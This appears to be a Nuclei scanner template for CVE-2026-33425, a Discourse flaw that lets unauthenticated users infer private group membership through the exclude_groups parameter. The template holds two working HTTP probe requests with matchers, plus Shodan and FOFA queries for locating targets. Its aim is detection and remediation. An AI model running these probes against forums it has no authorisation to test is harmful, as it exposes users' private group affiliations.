id: CVE-2026-33425 info: name: Discourse - Private Group Membership Inference via exclude_groups author: str4k3r severity: medium description: | Discourse < 2026.3.0-latest.1, 2026.2.1, and 2026.1.2 contains an information disclosure caused by unauthenticated users observing directory results changes with the exclude_groups parameter, letting attackers determine private group membership, exploit requires public access to user directory. impact: | Unauthenticated attackers can determine private group membership, potentially exposing sensitive user information. remediation: | Update to versions 2026.3.0-latest.1, 2026.2.1, or 2026.1.2 or later; alternatively, disable public access to user directory. reference: - https://github.com/discourse/discourse/security/advisories/GHSA-r6rh-xvf5-r5f2 - https://nvd.nist.gov/vuln/detail/CVE-2026-33425 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N cvss-score: 5.3 cve-id: CVE-2026-33425 epss-score: 0.00765 epss-percentile: 0.54943 cwe-id: CWE-203 metadata: verified: true max-request: 2 vendor: discourse product: discourse shodan-query: http.component:"discourse" fofa-query: body="/assets/discourse" tags: cve,cve2026,discourse,info-disclosure,unauth variables: ghost: "{{rand_base(8, 'acfhjnprx')}}" flow: http(1) && http(2) http: - raw: - | GET /directory_items.json?period=all&order=likes_received&page=0&exclude_groups={{ghost}} HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(content_type, "json")' - 'regex("\"total_rows_directory_items\":[0-9]+", body)' condition: and internal: true extractors: - type: regex name: basetotal group: 1 internal: true regex: - '"total_rows_directory_items":([0-9]+)' - raw: - | GET /directory_items.json?period=all&order=likes_received&page=0&exclude_groups=admins%7Cmoderators%7Cstaff%7Ctrust_level_4 HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(content_type, "json")' - '!regex("total_rows_directory_items.:" + basetotal + "[,}]", body)' condition: and # digest: 490a004630440220090e6e4e84f7958f99f5e98d3f9b62b921fc225bdf316162cf67a974a0134df50220112904b042da51a6f8caaa06ea612e19857e28427330b7acbb843680c6b470da:922c64590222798bb761d5b6d8e72950